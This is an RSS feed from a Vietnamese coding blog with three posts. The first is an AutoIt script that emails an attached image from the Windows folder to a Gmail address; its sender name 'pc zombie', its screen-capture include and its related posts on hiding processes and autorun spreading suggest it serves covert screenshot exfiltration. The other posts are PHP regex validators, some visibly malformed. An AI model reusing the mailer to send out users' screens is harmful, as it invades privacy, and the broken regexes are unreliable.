<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>IT Blog &#187; email</title>
	<atom:link href="http://blog.thuongtin.net/tag/email/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thuongtin.net</link>
	<description>php, sql, autoit, javascript, c, html</description>
	<lastBuildDate>Tue, 15 Sep 2009 00:57:58 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>[AutoIt] Send mail</title>
		<link>http://blog.thuongtin.net/2009/04/23/autoit-send-mail/</link>
		<comments>http://blog.thuongtin.net/2009/04/23/autoit-send-mail/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 19:54:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[AutoIT]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[mail]]></category>

		<guid isPermaLink="false">http://blog.thuongtin.net/?p=406</guid>
		<description><![CDATA[

;##################################
; Include
;##################################
#Include&#60;file.au3&#62;
#Include&#60;array.au3&#62;
#include &#60;ScreenCapture.au3&#62;
;##################################
; Variables
;##################################

Dim $array
$s_SmtpServer = &#34;smtp.gmail.com&#34;                             ; address for the smtp-server to use - REQUIREDhoangtuviolet_1987
$s_FromName = &#34;pc zombie&#34;                           ; name from who the email was sent
$s_FromAddress = &#34;bongma@gmail.com&#34;    ]]></description>
			<content:encoded><![CDATA[<p class="dropcap-first">
<pre class="brush: php;">
;##################################
; Include
;##################################
#Include&lt;file.au3&gt;
#Include&lt;array.au3&gt;
#include &lt;ScreenCapture.au3&gt;
;##################################
; Variables
;##################################

Dim $array
$s_SmtpServer = &quot;smtp.gmail.com&quot;                             ; address for the smtp-server to use - REQUIREDhoangtuviolet_1987
$s_FromName = &quot;pc zombie&quot;                           ; name from who the email was sent
$s_FromAddress = &quot;bongma@gmail.com&quot;                 ;  address from where the mail should come virusvn1989
$s_ToAddress = &quot;bongma@gmail.com&quot;           ; destination address of the email - REQUIRED  --&gt; ten nick nguoi nhan
$s_Subject = &quot;day la tieu de&quot;                                      ; subject from the email - can be anything you want it to be
$as_Body = &quot;cai nay la dong thong bao&quot;                                                      ; the messagebody from the mail - can be left blank but then you get a blank mail
$array = @WindowsDir &amp; &quot;\1.jpg&quot;  ; cai nay anh em de gui file nhe
$s_CcAddress = &quot;&quot;                    ; address for cc - leave blank if not needed
$s_BccAddress = &quot;&quot;                   ; address for bcc - leave blank if not needed
$s_Username = &quot;bongma@gmail.com&quot;                        ; username for the account used from where the mail gets sent  - Optional (Needed for eg GMail)
$s_Password = &quot;*******&quot;                           ; password for the account used from where the mail gets sent  - Optional (Needed for eg GMail)
$IPPort = 465                                       ; port used for sending the mail
$ssl = 1                                                          ; enables/disables secure socket layer sending - put to 1 if using httpS
;##################################
; Script
;##################################
Global $oMyRet[2]
Global $oMyError = ObjEvent(&quot;AutoIt.Error&quot;, &quot;MyErrFunc&quot;)
$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $array, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = &quot;&quot;, $as_Body = &quot;&quot;, $array = &quot;&quot;, $s_CcAddress = &quot;&quot;, $s_BccAddress = &quot;&quot;, $s_Username = &quot;&quot;, $s_Password = &quot;&quot;,$IPPort=25, $ssl=0)
 $objEmail = ObjCreate(&quot;CDO.Message&quot;)
 $objEmail.From = '&quot;' &amp; $s_FromName &amp; '&quot; &lt;' &amp; $s_FromAddress &amp; '&gt;'
 $objEmail.To = $s_ToAddress
 Local $i_Error = 0
 Local $i_Error_desciption = &quot;&quot;
 If $s_CcAddress &lt;&gt; &quot;&quot; Then $objEmail.Cc = $s_CcAddress
 If $s_BccAddress &lt;&gt; &quot;&quot; Then $objEmail.Bcc = $s_BccAddress
 $objEmail.Subject = $s_Subject
 If StringInStr($as_Body,&quot;&lt;&quot;) and StringInStr($as_Body,&quot;&gt;&quot;) Then
 $objEmail.HTMLBody = $as_Body
 Else
 $objEmail.Textbody = $as_Body &amp; @CRLF
 EndIf
 If $array &lt;&gt; &quot;&quot; Then
 ;Local $array = StringSplit($array, &quot;;&quot;)
 $array= _PathFull ($array)
 If FileExists($array) Then
 $objEmail.AddAttachment ($array)
 Else
 $i_Error_desciption = $i_Error_desciption &amp; @lf &amp; 'File not found to attach: ' &amp; $array
 SetError(1)
 return 0
 EndIf
 EndIf
 $objEmail.Configuration.Fields.Item (&quot;http://schemas.microsoft.com/cdo/configuration/sendusing&quot;) = 2
 $objEmail.Configuration.Fields.Item (&quot;http://schemas.microsoft.com/cdo/configuration/smtpserver&quot;) = $s_SmtpServer
 $objEmail.Configuration.Fields.Item (&quot;http://schemas.microsoft.com/cdo/configuration/smtpserverport&quot;) = $IPPort
;Authenticated SMTP
 If $s_Username &lt;&gt; &quot;&quot; Then
 $objEmail.Configuration.Fields.Item (&quot;http://schemas.microsoft.com/cdo/configuration/smtpauthenticate&quot;) = 1
 $objEmail.Configuration.Fields.Item (&quot;http://schemas.microsoft.com/cdo/configuration/sendusername&quot;) = $s_Username
 $objEmail.Configuration.Fields.Item (&quot;http://schemas.microsoft.com/cdo/configuration/sendpassword&quot;) = $s_Password
 EndIf
 If $Ssl Then
 $objEmail.Configuration.Fields.Item (&quot;http://schemas.microsoft.com/cdo/configuration/smtpusessl&quot;) = True
 EndIf
;Update settings
 $objEmail.Configuration.Fields.Update
; Sent the Message
 $objEmail.Send
 if @error then
 SetError(2)
 return $oMyRet[1]
 EndIf
EndFunc ;==&gt;_INetSmtpMailCom
; Com Error Handler
Func MyErrFunc()
 $HexNumber = Hex($oMyError.number, <img src='http://blog.thuongtin.net/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' />
 $oMyRet[0] = $HexNumber
 $oMyRet[1] = StringStripWS($oMyError.description,3)
 ConsoleWrite(&quot;### COM Error !  Number: &quot; &amp; $HexNumber &amp; &quot;   ScriptLine: &quot; &amp; $oMyError.scriptline &amp; &quot;   Description:&quot; &amp; $oMyRet[1] &amp; @LF)
 SetError(1); something to check for when this function returns
 Return
EndFunc ;==&gt;MyErrFunc
</pre>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://blog.thuongtin.net/2009/04/23/auto-it-hide-process/" rel="bookmark">[Auto It] hide process</a></li><li><a href="http://blog.thuongtin.net/2009/04/23/autoit-autorun-va-lay-lan/" rel="bookmark">[AutoIt] Autorun và lây lan</a></li><li><a href="http://blog.thuongtin.net/2009/05/07/autoit-kiem-tra-nguoi-dung-viet-gi/" rel="bookmark">AutoIt - Kiểm tra người dùng viết gì.</a></li><li><a href="http://blog.thuongtin.net/2009/06/29/php-display-server-load/" rel="bookmark">[PHP] Display Server Load</a></li><li><a href="http://blog.thuongtin.net/2009/04/29/autoit-viet-phan-mem-spam-web/" rel="bookmark">[AutoIt] Viết phần mềm spam web</a></li></ul></div><img src="http://blog.thuongtin.net/?ak_action=api_record_view&id=406&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.thuongtin.net/2009/04/23/autoit-send-mail/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>8 mẫu Regular Expressions hữu ích</title>
		<link>http://blog.thuongtin.net/2008/10/18/8-mau-regular-expressions-huu-ich/</link>
		<comments>http://blog.thuongtin.net/2008/10/18/8-mau-regular-expressions-huu-ich/#comments</comments>
		<pubDate>Sat, 18 Oct 2008 02:15:31 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[mail]]></category>
		<category><![CDATA[post]]></category>
		<category><![CDATA[Source]]></category>

		<guid isPermaLink="false">http://thuongtin.net/blog/?p=202</guid>
		<description><![CDATA[Tên truy cập
Chỉ chấp nhận chữ cái thường, chữ cái viết hoa, số 0-9, và gạch chân.

$string = &#34;userNaME123456789_&#34;;
if (preg_match('/^[a-z\d_]{023456789}$/i', $string)) {
echo &#34;example 1 successful.&#34;;
}

Số điện thoại
Số điện thoại có dạng : (###)###-####

$string = &#34;(032)555-5555&#34;;
if (preg_match('/^(\(?[2-9]{1}[0-9]{2}\)?&#124;[0-9]{3,3}[-. ]?)[ ][0-9]{3,3}[-. ]?[0-9]{4,4}$/', $string)) {
echo &#34;example 2 successful.&#34;;
}

Địa chỉ Email

$string = &#34;first.last@domain.co.uk&#34;;
if (preg_match(
'/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/',
$string)) {
echo &#34;example 3 successful.&#34;;
}

Mã Postal

$string = ]]></description>
			<content:encoded><![CDATA[<p class="dropcap-first"><strong><span style="color: red;">Tên truy cập</span></strong><br />
Chỉ chấp nhận chữ cái thường, chữ cái viết hoa, số 0-9, và gạch chân.</p>
<pre class="brush: php;">
$string = &quot;userNaME123456789_&quot;;
if (preg_match('/^[a-z\d_]{023456789}$/i', $string)) {
echo &quot;example 1 successful.&quot;;
}
</pre>
<p><span style="color: red;"><strong>Số điện thoại</strong></span><br />
Số điện thoại có dạng : (###)###-####</p>
<pre class="brush: php;">
$string = &quot;(032)555-5555&quot;;
if (preg_match('/^(\(?[2-9]{1}[0-9]{2}\)?|[0-9]{3,3}[-. ]?)[ ][0-9]{3,3}[-. ]?[0-9]{4,4}$/', $string)) {
echo &quot;example 2 successful.&quot;;
}
</pre>
<p><strong><span style="color: red;">Địa chỉ Email</span></strong></p>
<pre class="brush: php;">
$string = &quot;first.last@domain.co.uk&quot;;
if (preg_match(
'/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/',
$string)) {
echo &quot;example 3 successful.&quot;;
}
</pre>
<p><span style="color: red;"><strong>Mã Postal</strong></span></p>
<pre class="brush: php;">
$string = &quot;55324-4324&quot;;
if (preg_match('/^[0-9]{5,5}([- ]?[0-9]{4,4})?$/', $string)) {
echo &quot;example 4 successful.&quot;;
}
</pre>
<p><span style="color: red;"><strong>Địa chỉ ip</strong></span></p>
<pre class="brush: php;">
$string = &quot;255.255.255.0&quot;;
if (preg_match(
'^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.](?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}

,
$string)) {
echo &quot;example 5 successful.&quot;;

}
</pre>
<p><strong><span style="color: red;">Mã màu hexadecimal</span></strong><br />
Dạng :#333333, #333.</p>
<pre class="brush: php;">
$string = &quot;#666666&quot;;
if (preg_match('/^#(?:(?:[a-f\d]{3}){1,2})$/i', $string)) {
echo &quot;example 6 successful.&quot;;
}
</pre>
<p><strong><span style="color: red;">Comment nhiều dòng</span></strong><br />
Comment dạng :<br />
/*<br />
* text here<br />
*/<br />
Thường dùng trong php, css&#8230;</p>
<pre class="brush: php;">
$string = &quot;/* commmmment */&quot;;
if (preg_match('/^[(/*)+.+(*/)]$/', $string)) {
echo &quot;example 7 successful.&quot;;
}
</pre>
<p><span style="color: red;"><strong>Ngày</strong></span><br />
Ngày dạng MM/DD/YYYY</p>
<pre class="brush: php;">
$string = &quot;10/15/2007&quot;;
if (preg_match('/^\d{1,2}\/\d{1,2}\/\d{4}$/', $string)) {
echo &quot;example 8 successful.&quot;;
}
</pre>
<p>(Sưu tầm)</p>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://blog.thuongtin.net/2009/07/03/js-object-math/" rel="bookmark">[ JS Object ] Math</a></li><li><a href="http://blog.thuongtin.net/2008/10/10/lay-link-nct-nhaccuatuicom/" rel="bookmark">Lấy link NCT (nhaccuatui.com)</a></li><li><a href="http://blog.thuongtin.net/2008/10/10/ngan-chan-trinh-duyet-khi-duyet-website-cua-minh/" rel="bookmark">Ngăn chặn Trình duyệt khi duyệt website của mình</a></li><li><a href="http://blog.thuongtin.net/2009/04/21/14-loi-khuyen-cua-ong-iec-haramis/" rel="bookmark">14 lời khuyên của ông I.E.C. Haramis</a></li><li><a href="http://blog.thuongtin.net/2008/10/15/autoit-cau-truc-la/" rel="bookmark">[AutoIT] Cấu trúc lặp</a></li></ul></div><img src="http://blog.thuongtin.net/?ak_action=api_record_view&id=202&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.thuongtin.net/2008/10/18/8-mau-regular-expressions-huu-ich/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Kiểm tra tính hợp lệ của địa chỉ email</title>
		<link>http://blog.thuongtin.net/2008/09/12/kiem-tra-tinh-hop-le-cua-dia-chi-email/</link>
		<comments>http://blog.thuongtin.net/2008/09/12/kiem-tra-tinh-hop-le-cua-dia-chi-email/#comments</comments>
		<pubDate>Fri, 12 Sep 2008 08:16:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[email]]></category>

		<guid isPermaLink="false">http://thuongtin.net/blog/?p=81</guid>
		<description><![CDATA[

function is_email_valid($email)
{
return (preg_match(&#34;/[-a-zA-Z0-9_.+]+@[a-zA-Z0-9-]{2,}\.[a-zA-Z]{2,}/&#34;, $email) &#62; 0) ? true : false;
}

Related Posts:Gửi email dạng HTML với hàm mail()Simple Email Class8 mẫu Regular Expressions hữu íchClass loginGet Alexa Rank]]></description>
			<content:encoded><![CDATA[<p class="dropcap-first">
<pre class="brush: php;">
function is_email_valid($email)
{
return (preg_match(&quot;/[-a-zA-Z0-9_.+]+@[a-zA-Z0-9-]{2,}\.[a-zA-Z]{2,}/&quot;, $email) &gt; 0) ? true : false;
}
</pre>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://blog.thuongtin.net/2008/09/09/gui-email-dang-html-voi-ham-mail/" rel="bookmark">Gửi email dạng HTML với hàm mail()</a></li><li><a href="http://blog.thuongtin.net/2008/09/10/simple-email-class/" rel="bookmark">Simple Email Class</a></li><li><a href="http://blog.thuongtin.net/2008/10/18/8-mau-regular-expressions-huu-ich/" rel="bookmark">8 mẫu Regular Expressions hữu ích</a></li><li><a href="http://blog.thuongtin.net/2008/09/12/class-login/" rel="bookmark">Class login</a></li><li><a href="http://blog.thuongtin.net/2008/10/22/get-alexa-rank/" rel="bookmark">Get Alexa Rank</a></li></ul></div><img src="http://blog.thuongtin.net/?ak_action=api_record_view&id=81&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.thuongtin.net/2008/09/12/kiem-tra-tinh-hop-le-cua-dia-chi-email/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
